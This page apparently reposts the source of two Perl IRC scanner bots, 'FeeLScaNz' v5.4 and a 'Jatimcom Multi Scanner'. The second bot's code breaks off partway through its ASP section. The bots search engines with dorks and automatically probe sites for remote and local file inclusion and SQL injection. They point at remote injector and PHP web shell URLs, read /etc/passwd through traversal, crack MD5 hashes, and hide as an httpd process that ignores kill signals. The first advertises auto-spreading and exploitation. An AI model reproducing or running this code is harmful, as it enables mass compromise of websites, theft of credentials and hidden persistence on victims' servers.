source bot feelscan 5.4

#!/usr/bin/perl
print('
##################################################
## FeeLCoMz RFI Scanner Bot v5.4 (FeeLScaNz.pl) ##
## By FaTaLisTiCz_Fx ##
## � Agu 2008 - Sep 2009, FeeLCoMz Community ##
##################################################
');
######################################################
## Usage: ##
## perl feelscanz.pl ##
## ##
## Notes: ##
## + All Parameters are optional ##
## ##
## Features: ##
## + RFI Scanner ##
## + RFI Scan & Exploit (Exploit per engine) ##
## + Joomla RFI Scan & Exploit ##
## + Milw0rm Search ##
## + Google bypass (Using PHP) ##
## + Message Spy & Save ##
## + Auto Spreading ##
## + MD5 Crack Search ##
######################################################
## History:
## + Fixed cryptz command (v4.5)
## + Fixed user commands execution by unauthorized user (v4.6) (thx to ajegile)
## + Added options to enable/disable encrypted password (v4.7)
## + Fixed missing hostname on sublink (v4.8)
## + Added links filter to exclude exploiting bad links (v4.9)
## + Fixed private message scanning (v4.9.2) (thx to BLood_roSE)
## + Added spread configuration (v5.0)
## + Updated search engines (v5.1)
## + Added HTTP Error handler for search engines (v5.2)
## + Added more search engines (v5.3) (thx to kaMtiEz, arianom, tukulesto, & Mask_Magician)
## + Added md5 hash & crack tool (v5.4)
#############################################################
## Greets: ##
## JavaHack, RoseBanditz, Kill-9, Hacker-Newbie, JatimCrew ##
#############################################################

use strict;
use IO::Socket::INET;
use LWP::UserAgent;
use HTTP::Request;
use Digest::MD5 qw(md5 md5_hex md5_base64);

my $versi = "v5.4";
my $cmdpre = "!"; #Command Prefix


##[ KONFIGURASI URL ]##
my $fx29id = "http://udon.nfe.go.th/images/id1?"; #Fx29ID1 (Simple) / (Advanced)
my $fx29id2 = "http://udon.nfe.go.th/images/id2?"; #Fx29ID2 (Advanced)
my $fx29sh = "http://www.aneka-asia.com/sendang-art/shell???"; #Fx29Sh (Optional)
my $bypass = "http://jatimcom.shell.la/id/google.php?"; #Googlerz (Optional)

##[ KONFIGURASI SOURCE ]##
my $mysite = "http://jatimcom.uni.cc/irc/"; #Path to Sources URL (Optional)
my $spread = "http://www.aneka-asia.com/sendang-art/jcom???"; #Fx29Spreadz (Optional)
my $joomlaz = "http://www.aneka-asia.com/sendang-art/joomla.txt?"; #Joomla's Bugs List (Required for Joomla RFI Scanner)

##[ KONFIGURASI IRC ]##
my @servers = ("irc.jatimcom.info"); #IRC Servers (Separated by coma)
my %bot = (
nick => "FeeLScaNz[".int(rand(100))."]",
ident => "Felc".int(rand(100)),
chan => ["#jatimcom"], #Channels to join (Separated by coma)
server => $servers[rand(scalar(@servers))],
port => "7000"
);


##[ KONFIGURASI USER ##
## status: admin, user
## cryptz: 0 = Non-Encrypted Password, 1 = Encrypted Password
my %boss = (
cimpli => {
pass => 'cimpli',
status => "admin",
cryptz => 0,
login => 0
},
);


##[ KONFIGURASI SPY ]##
my %spy = (
host => "", #Channels to show spied text
chanz => [""], #Channels to spy (Separated by coma)
wordz => ['http://.+?[=]', 'ftp://.+?'], #Text to spy (Regex, Separated by coma)
foundz => []
);

##[ KONFIGURASI BOT ]##
## Options: 0 = Disable, 1 = Enable
my %conf = (
showsite => 1, #Show link to debug channel (Yes/No)
linez => 4, #Lines per message
sleepz => 3, #Message delay per linez (seconds)
rfipid => 35, #Sites per proccess
rficnt => 100, #Counter setting
rficnt2 => 200, #Counter setting
timeout => 4, #Http socket time out
);

Download In Here

read more...

New Multi Scanner

#!/usr/bin/perl
print('
###################################
# Jatimcom Multi Scanner #
# Moded By Jcommers #
# Copyleft © 2010 Jatimcom #
###################################
');
##################################################
## Usage: ##
## perl file.pl ##
## Notes: ##
## + All Parameters are optional ##
## ##
## Features: ##
## + RFI Scanner ##
## + SQL Scanner ##
## + ASP Scanner ##
## + MD5 Crack & Encript ##
## + Dont Forget To Cek http://jatimcom.uni.cc/ ##
##################################################

use HTTP::Request;
use LWP::UserAgent;
use IO::Socket;
use IO::Select;
use Socket;
#################################################

my $fakeproc = "/usr/local/apache/bin/httpd";
my $ircserver = "irc.jatimcom.us";
my $ircport = "7000";
my $nickname = "MULTI[scan]";
my $ident = "Jatimcom";
my $channel = '#jatimcom';
my $runner = "cimpli";
my $fullname = ' 10( 14@ 10Jatimcom-Multi-Scanner 10) ';
#################################################

my $injector = "http://acscc.com//forum/cache/id/idmulti?";
my $phpshell = "http://www.sanvan.net/new/newzz.txt??";
my $rficmd = '!rfi';
my $lficmd = '!lfi';
my $sqlcmd = '!sql';
my $aspcmd = '!asp';
my $alicmd = '!log';
my $encrypt = '!enc';
my $decrypt = '!dec';
my $zipcmd = '!zip';
my $ipcmd = '!ip';
my $hostcmd = '!host';
$rfi_result = "JaTimcoM";
$lfi_test = "../../../../../../../../../../../../../../../etc/passwd";
$lfi_output = "root:(.+):(.+):(.+):(.+):(.+):(.+)";
$sql_test = "'";
$sql_output = ("Query failed|Query Error|right syntax to use near");
$asp_output = ("SQL Server error|Incorrect syntax near|syntax error converting|unclosed quotation|Unclosed quotation mark before the character string ''");
#################################################

$SIG{'INT'} = 'IGNORE';
$SIG{'HUP'} = 'IGNORE';
$SIG{'TERM'} = 'IGNORE';
$SIG{'CHLD'} = 'IGNORE';
$SIG{'PS'} = 'IGNORE';

chdir("/");
$ircserver="$ARGV[0]" if $ARGV[0];
$0 = "$fakeproc"."\0"x16;;
my $pid = fork;
exit if $pid;
die "\n [!] Something Wrong !!!: $!" unless defined($pid);

our %irc_servers;
our %DCC;
my $dcc_sel = new IO::Select->new();
$sel_client = IO::Select->new();

sub sendraw {
if ($#_ == '1') {
my $socket = $_[0];
print $socket "$_[1]\n";
} else {
print $IRC_cur_socket "$_[0]\n";
}
}
#################################################

sub connector {
my $mynick = $_[0];
my $ircserver_con = $_[1];
my $ircport_con = $_[2];
my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$ircserver_con", PeerPort=>$ircport_con) or return(1);
if (defined($IRC_socket)) {
$IRC_cur_socket = $IRC_socket;
$IRC_socket->autoflush(1);
$sel_client->add($IRC_socket);
$irc_servers{$IRC_cur_socket}{'host'} = "$ircserver_con";
$irc_servers{$IRC_cur_socket}{'port'} = "$ircport_con";
$irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
$irc_servers{$IRC_cur_socket}{'myip'} = $IRC_socket->sockhost;
nick("$mynick");
sendraw("USER $ident ".$IRC_socket->sockhost." $ircserver_con :$fullname");
sleep 1;
}
}
#################################################

sub parse {
my $servarg = shift;
if ($servarg =~ /^PING \:(.*)/) {
sendraw("PONG :$1");
} elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
my $pn=$1; my $hostmask= $3; my $onde = $4; my $args = $5;
if ($args =~ /^\001VERSION\001$/) {
notice("$pn", "\001VERSION Jatimcom Multi Scaner\001");
}
if ($args =~ /^(\Q$mynick\E|\!a)\s+(.*)/ ) {
my $natrix = $1;
my $arg = $2;
}
}
elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
if (lc($1) eq lc($mynick)) {
$mynick=$4;
$irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
}
} elsif ($servarg =~ m/^\:(.+?)\s+433/i) {
nick("$mynick|".int rand(999));
} elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
$mynick = $2;
$irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
$irc_servers{$IRC_cur_socket}{'nome'} = "$1";
sendraw("MODE $nickname +Bx");
sendraw("JOIN $channel");
sendraw("PRIVMSG $channel :JaTimCom Scanner Ready");
sendraw("PRIVMSG $runner :Hi $runner im here !!!");
}
}
#################################################

my $line_temp;
while( 1 ) {
while (!(keys(%irc_servers))) { connector("$nickname", "$ircserver", "$ircport"); }
delete($irc_servers{''}) if (defined($irc_servers{''}));
my @ready = $sel_client->can_read(0);
next unless(@ready);
foreach $fh (@ready) {
$IRC_cur_socket = $fh;
$mynick = $irc_servers{$IRC_cur_socket}{'nick'};
$nread = sysread($fh, $msg, 4096);
if ($nread == 0) {
$sel_client->remove($fh);
$fh->close;
delete($irc_servers{$fh});
}
@lines = split (/\n/, $msg);
$msg =~ s/\r\n$//;

#####################################################################
############################[ CMD LIST ]#############################
#####################################################################

if ($msg=~ /PRIVMSG $channel :!help/){
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14-> 3Help 10) 0,10 $rficmd <bug> <dork> | $lficmd <bug> <dork> ");
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14-> 3Help 10) 0,10 $sqlcmd | $aspcmd <bug> <dork> ");
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14-> 3Help 10) 0,10 $encrypt <text> | $decrypt <hash> ");
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14-> 3Help 10) 0,10 Apache Log Injection : $alicmd <host> <port> ");
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14-> 3Help 10) 0,10 !id | !engine | !pid | !version | !about ");
}

if ($msg=~ /PRIVMSG $channel :!id/){
&response();
}

if ($msg=~ /PRIVMSG $channel :!version/){
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14-> 3Help 10) 0,10 New Jatimcom Multi ScanNer ");
}

if ($msg=~ /PRIVMSG $channel :!engine/){
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14-> 3Help 10) 0,10 Google, Bing, AllTheWeb, Altavista, ASK, UOL, LyCos, GoodSearch, Yahoo. ");
}

if ($msg=~ /PRIVMSG $channel :!pid/){
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14-> 3Help 10) 0,10 Process/ID : 4 $fakeproc - $$ ");
}

if ($msg=~ /PRIVMSG $channel :!about/){
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14-> 3Help 10) 0,10 JATIMCOM MULTI ScanNer ");
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14-> 3Help 10) 0,10 Moded by Jcommers - http://jatimcom.uni.cc/ ");
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14-> 3Help 10) 0,10 Copyleft © 2010 Jatim Community ");
}




##################################################################### GDataOnline.com MD5 Engine - Md5 2 Text
if ($msg=~ /PRIVMSG $channel :$decrypt\s+([0-9,a-f]{32})/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
} else {
if (fork) {
exit;
} else {
my $hash = $1;
my $cracker = "http://www.gdataonline.com/qkhash.php?mode=txt&hash=".$hash;
my $request = HTTP::Request->new(GET=>$cracker);
my $useragent = LWP::UserAgent->new();
$useragent->timeout(10);
my $response = $useragent->request($request);
if ($response->is_success) {
my $res = $response->content;
if ($res =~ m/>$hash<\/td><td width="35%"><b>(.*)<\/b>/g) {
my $result = $1;
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10 [GDataOnline] 3 ".$hash." 14-> 3 ".$result);
}
else { sendraw($IRC_cur_socket, "PRIVMSG $channel : 10 [GDataOnline] 3 ".$hash." 14not found."); }
}
else { sendraw($IRC_cur_socket, "PRIVMSG $channel : 10 Cannot open GDataOnline.cOm "); }
}
exit;
}}


##################################################################### md5.rednoize.com MD5 Engine - Md5 2 Text
if ($msg=~ /PRIVMSG $channel :$decrypt\s+([0-9,a-f]{32})/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
} else {
if (fork) {
exit;
} else {
my $hash = $1;
my $cracker = "http://md5.rednoize.com/?s=md5&q=".$hash;
my $request = HTTP::Request->new(GET=>$cracker);
my $useragent = LWP::UserAgent->new();
$useragent->timeout(10);
my $response = $useragent->request($request);
if ($response->is_success) {
my $res = $response->content;
if ($res =~ m/<div id=\"result\" >(.*)<\/div>/g) {
my $result = $1;
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10 [RedNoize] 3 ".$hash." 14-> 3 ".$result);
}
else {
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10 [RedNoize] 3 ".$hash." 14not found.");
}
}
else { sendraw($IRC_cur_socket, "PRIVMSG $channel : 10 Cannot open Md5.RedNoize.cOm "); }
}
exit;
}}

##################################################################### c0li.m0de.0n MD5 Engine - Text 2 Hash
if ($msg=~ /PRIVMSG $channel :$encrypt\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
} else {
if (fork) {
exit;
} else {
my $teks=$1;
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10 Trying to encrypt 14 ".$teks." 10... ");
my $hashing = "http://d00r.110mb.com/hash.php?enc=".$teks;
my $request = HTTP::Request->new(GET=>$hashing);
my $useragent = LWP::UserAgent->new();
$useragent->timeout(10);
my $response = $useragent->request($request);
if ($response->is_success) {
my $res = $response->content;
if ($res =~ m/MD5:([0-9,a-f]{32})<br>SHA1:([0-9,a-f]{40})<br>B64:(.*)/g) {
my ($md5,$sha1,$base64) = ($1,$2,$3);
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10 MD5 : 14 ".$teks." 10-> 3 ".$md5);
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10 Sha1 : 14 ".$teks." 10-> 3 ".$sha1);
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10 Base64 : 14 ".$teks." 10-> 3 ".$base64);
}
}
else { sendraw($IRC_cur_socket, "PRIVMSG $channel : 10 Cannot open c0li.m0de.0n "); }
}
exit;
}}
#####################################################################

if ($msg=~ /PRIVMSG $channel :$hostcmd\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
} else {
if (fork) {
exit;
} else {
my $ipaddr = $1;
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14@ 3Jatimcom 10) 14 Domain in 7 ".$ipaddr." 12Host ... ");
my $hashing = "http://www.myipneighbors.com/?search=".$ipaddr."&commit=search";
my $res = getcontent($hashing);
while ($res =~ m/<tr style=\"background:#dedede;\"><td>(.*)<\/td><td>/g) {
my $dns1 = $1;
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14@ 3Jatimcom 10) 14 ".$ipaddr." 4-> 3 ".$dns1);
sleep(2);
}
while ($res =~ m/<tr style=\"background:#ffffff;\"><td>(.*)<\/td><td>/g) {
my $dns2 = $1;
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14@ 3Jatimcom 10) 14 ".$ipaddr." 4-> 3 ".$dns2);
sleep(2);
}
if ($res !~ m/<tr style=\"background:#.*;\"><td>.*<\/td><td>/g) {
if ($res =~ m/<b>$ipaddr<\/b> has address <b>(.*)<\/b>/g) {
$mydns = $1;
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14@ 3Jatimcom 10) 14 ".$ipaddr." 4-> 3 ".$mydns);
}
else {
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14@ 3Jatimcom 10) 14 ".$ipaddr." 7-> 4 Bad Domain.");
}
}
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14@ 3Jatimcom 10) 14 Listing of Domain in 4 ".$ipaddr." 12is Done.");
}
exit;
}}
#####################################################################

if ($msg=~ /PRIVMSG $channel :$ipcmd\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
} else {
if (fork) {
exit;
} else {
my $ip = $1;
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14@ 3IP-Location 19) 14 Searching 7 ".$ip." 12Location ... ");
my $website = "http://www.ipligence.com/geolocation";
my ($useragent,$request,$response,%form);
undef %form;
$form{ip} = $ip;
$useragent = LWP::UserAgent->new;
$useragent->timeout(10);
$request = POST $website,\%form;
$response = $useragent->request($request);
if ($response->is_success) {
my $res = $response->content;
if ($res =~ m/Your IP address is (.*)<br>City: (.*)<br\/>Country: (.*)<br>Continent: (.*)<br>Time/g) {
my ($ipaddress,$city,$country,$continent) = ($1,$2,$3,$4);
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14@ 3IP-Location 10) 14 IP Address : 3 ".$ipaddress." ");
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14@ 3IP-Location 10) 14 City : 3 ".$city." ");
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14@ 3IP-Location 10) 14 Country : 3 ".$country." ");
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14@ 3IP-Location 10) 14 Continent : 3 ".$continent." ");
}
else { sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14@ 3IP-Location 10) 14 $ip 12-> 4Invalid address or IP not found. "); }
}
else { sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14@ 3IP-Location 10) 14 Cannot open www.ipligence.com "); }
}
exit;
}}

##################################################################### US ZIP Lookup www.ZIPInfo.com
if ($msg=~ /PRIVMSG $channel :$zipcmd\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
} else {
if (fork) {
exit;
} else {
my $zip = $1;
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 3@ 14US-ZIP 14) 10 Looking up 14 ".$zip." 10ZIP Code ... ");
my $website = "http://www.zipinfo.com/cgi-local/zipsrch.exe?cnty=cnty&ac=ac&zip=".$zip."&Go=Go";
my $request = HTTP::Request->new(GET=>$website);
my $useragent = LWP::UserAgent->new();
$useragent->timeout(10);
my $response = $useragent->request($request);
if ($response->is_success) {
my $res = $response->content;
if ($res =~ m/<td align=center>(.*)<\/font><\/td><td align=center>(.*)<\/font><\/td><td align=center>(.*)<\/font><\/td><td align=center>(.*)<\/font><\/td><td align=center>(.*)<\/font><\/td><td align=center>(.*)<\/font>/g) {
my ($city,$state,$zipcode,$county,$area) = ($1,$2,$3,$4,$6);
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14@ 3US-ZIP 10) 10 Nama Kota : 3 ".$city." ");
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14@ 3US-ZIP 10) 10 Kode State: 3 ".$state." ");
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14@ 3US-ZIP 10) 10 Kode ZIP : 3 ".$zipcode." ");
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14@ 3US-ZIP 10) 10 Kode Kota : 3 ".$county." ");
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14@ 3US-ZIP 10) 10 Kode Area : 3 ".$area." ");
}
else { sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14@ 3US-ZIP 10) 10 $zip 3is not a valid ZIP code. "); }
}
else { sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14@ 3US-ZIP 10) 10 Cannot open www.ZIPInfo.com "); }
}
exit;
}}
#####################################################################
###############################[ RFI ]###############################
#####################################################################

##################################################################### Google Engine
if ($msg=~ /PRIVMSG $channel :$rficmd\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "GooGLe";
my $bugx = $1;
my $d0rk = $2;
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14-> 3RFI 10)( 14@ 3Jatimcom 10) 10 Dork : 14 $d0rk ");
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14-> 3RFI 10)( 14@ 3Jatimcom 10) 10 File : 14 $bugx ");
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14-> 3RFI 10)( 14@ 3Jatimcom 10) 10 Search Engine Loading ... ");
&rfiscan($engx,$bugx,$d0rk);
}
exit;
}
}

##################################################################### AllTheWeb Engine
if ($msg=~ /PRIVMSG $channel :$rficmd\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "AllTheWeb";
my $bugx = $1;
my $d0rk = $2;
&rfiscan($engx,$bugx,$d0rk);
}
exit;
}
}

##################################################################### Bing Engine
if ($msg=~ /PRIVMSG $channel :$rficmd\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "Bing";
my $bugx = $1;
my $d0rk = $2;
&rfiscan($engx,$bugx,$d0rk);
}
exit;
}
}

##################################################################### Altavista Engine
if ($msg=~ /PRIVMSG $channel :$rficmd\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "ALtaViSTa";
my $bugx = $1;
my $d0rk = $2;
&rfiscan($engx,$bugx,$d0rk);
}
exit;
}
}

##################################################################### ASK Engine
if ($msg=~ /PRIVMSG $channel :$rficmd\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "AsK";
my $bugx = $1;
my $d0rk = $2;
&rfiscan($engx,$bugx,$d0rk);
}
exit;
}
}

##################################################################### UoL Engine
if ($msg=~ /PRIVMSG $channel :$rficmd\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "UoL";
my $bugx = $1;
my $d0rk = $2;
&rfiscan($engx,$bugx,$d0rk);
}
exit;
}
}

##################################################################### LyCos Engine
if ($msg=~ /PRIVMSG $channel :$rficmd\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "LyCos";
my $bugx = $1;
my $d0rk = $2;
&rfiscan($engx,$bugx,$d0rk);
}
exit;
}
}

##################################################################### GoodSearch Engine
if ($msg=~ /PRIVMSG $channel :$rficmd\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "GoodSearch";
my $bugx = $1;
my $d0rk = $2;
&rfiscan($engx,$bugx,$d0rk);
}
exit;
}
}

##################################################################### Yahoo Engine
if ($msg=~ /PRIVMSG $channel :$rficmd\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "YahOo";
my $bugx = $1;
my $d0rk = $2;
&rfiscan($engx,$bugx,$d0rk);
}
exit;
}
}

#####################################################################
###############################[ LFI ]###############################
#####################################################################

##################################################################### Google Engine
if ($msg=~ /PRIVMSG $channel :$lficmd\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "GooGLe";
my $bugx = $1;
my $d0rk = $2;
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14-> 3LFI 10)( 14@ 3Jatimcom 10) 10 Dork : 14 $d0rk ");
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14-> 3LFI 10)( 14@ 3Jatimcom 10) 10 File : 14 $bugx ");
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14-> 3LFI 10)( 14@ 3Jatimcom 10) 10 Search Engine Loading ... ");
&lfiscan($engx,$bugx,$d0rk);
}
exit;
}
}

##################################################################### AllTheWeb Engine
if ($msg=~ /PRIVMSG $channel :$lficmd\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "AllTheWeb";
my $bugx = $1;
my $d0rk = $2;
&lfiscan($engx,$bugx,$d0rk);
}
exit;
}
}

##################################################################### Bing Engine
if ($msg=~ /PRIVMSG $channel :$lficmd\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "Bing";
my $bugx = $1;
my $d0rk = $2;
&lfiscan($engx,$bugx,$d0rk);
}
exit;
}
}

##################################################################### Altavista Engine
if ($msg=~ /PRIVMSG $channel :$lficmd\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "ALtaViSTa";
my $bugx = $1;
my $d0rk = $2;
&lfiscan($engx,$bugx,$d0rk);
}
exit;
}
}

##################################################################### ASK Engine
if ($msg=~ /PRIVMSG $channel :$lficmd\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "AsK";
my $bugx = $1;
my $d0rk = $2;
&lfiscan($engx,$bugx,$d0rk);
}
exit;
}
}

##################################################################### UoL Engine
if ($msg=~ /PRIVMSG $channel :$lficmd\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "UoL";
my $bugx = $1;
my $d0rk = $2;
&lfiscan($engx,$bugx,$d0rk);
}
exit;
}
}

##################################################################### LyCos Engine
if ($msg=~ /PRIVMSG $channel :$lficmd\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "LyCos";
my $bugx = $1;
my $d0rk = $2;
&lfiscan($engx,$bugx,$d0rk);
}
exit;
}
}

##################################################################### GoodSearch Engine
if ($msg=~ /PRIVMSG $channel :$lficmd\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "GoodSearch";
my $bugx = $1;
my $d0rk = $2;
&lfiscan($engx,$bugx,$d0rk);
}
exit;
}
}

##################################################################### Yahoo Engine
if ($msg=~ /PRIVMSG $channel :$lficmd\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "YahOo";
my $bugx = $1;
my $d0rk = $2;
&lfiscan($engx,$bugx,$d0rk);
}
exit;
}
}

#####################################################################
##############################[ sql ]##############################
#####################################################################

##################################################################### Google Engine
if ($msg=~ /PRIVMSG $channel :$sqlcmd\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "GooGLe";
my $bugx = $1;
my $d0rk = $2;
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14-> 3SQL 10)( 14@ 3Jatimcom 10) 10 Dork : 14 $d0rk ");
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14-> 3SQL 10)( 14@ 3Jatimcom 10) 10 File : 14 $bugx ");
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14-> 3SQL 10)( 14@ 3Jatimcom 10) 10 Search Engine Loading ... ");
&sqlscan($engx,$bugx,$d0rk);
}
exit;
}
}

##################################################################### AllTheWeb Engine
if ($msg=~ /PRIVMSG $channel :$sqlcmd\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "AllTheWeb";
my $bugx = $1;
my $d0rk = $2;
&sqlscan($engx,$bugx,$d0rk);
}
exit;
}
}

##################################################################### Bing Engine
if ($msg=~ /PRIVMSG $channel :$sqlcmd\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "Bing";
my $bugx = $1;
my $d0rk = $2;
&sqlscan($engx,$bugx,$d0rk);
}
exit;
}
}

##################################################################### Altavista Engine
if ($msg=~ /PRIVMSG $channel :$sqlcmd\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "ALtaViSTa";
my $bugx = $1;
my $d0rk = $2;
&sqlscan($engx,$bugx,$d0rk);
}
exit;
}
}

##################################################################### ASK Engine
if ($msg=~ /PRIVMSG $channel :$sqlcmd\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "AsK";
my $bugx = $1;
my $d0rk = $2;
&sqlscan($engx,$bugx,$d0rk);
}
exit;
}
}

##################################################################### UoL Engine
if ($msg=~ /PRIVMSG $channel :$sqlcmd\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "UoL";
my $bugx = $1;
my $d0rk = $2;
&sqlscan($engx,$bugx,$d0rk);
}
exit;
}
}

##################################################################### Lycos Engine
if ($msg=~ /PRIVMSG $channel :$sqlcmd\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "LyCos";
my $bugx = $1;
my $d0rk = $2;
&sqlscan($engx,$bugx,$d0rk);
}
exit;
}
}

##################################################################### GoodSearch Engine
if ($msg=~ /PRIVMSG $channel :$sqlcmd\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "GoodSearch";
my $bugx = $1;
my $d0rk = $2;
&sqlscan($engx,$bugx,$d0rk);
}
exit;
}
}

##################################################################### Yahoo Engine
if ($msg=~ /PRIVMSG $channel :$sqlcmd\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "YahOo";
my $bugx = $1;
my $d0rk = $2;
&sqlscan($engx,$bugx,$d0rk);
}
exit;
}
}

#####################################################################
##############################[ asp ]##############################
#####################################################################

##################################################################### Google Engine
if ($msg=~ /PRIVMSG $channel :$aspcmd\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "GooGLe";
my $bugx = $1;
my $d0rk = $2;
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14-> 3ASP 10)( 14@ 3Jatimcom 10) 10 Dork : 14 $d0rk ");
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14-> 3ASP 10)( 14@ 3Jatimcom 10) 10 File : 14 $bugx ");
sendraw($IRC_cur_socket, "PRIVMSG $channel : 10( 14-> 3ASP 10)( 14@ 3Jatimcom 10) 10 Search Engine Loading ... ");
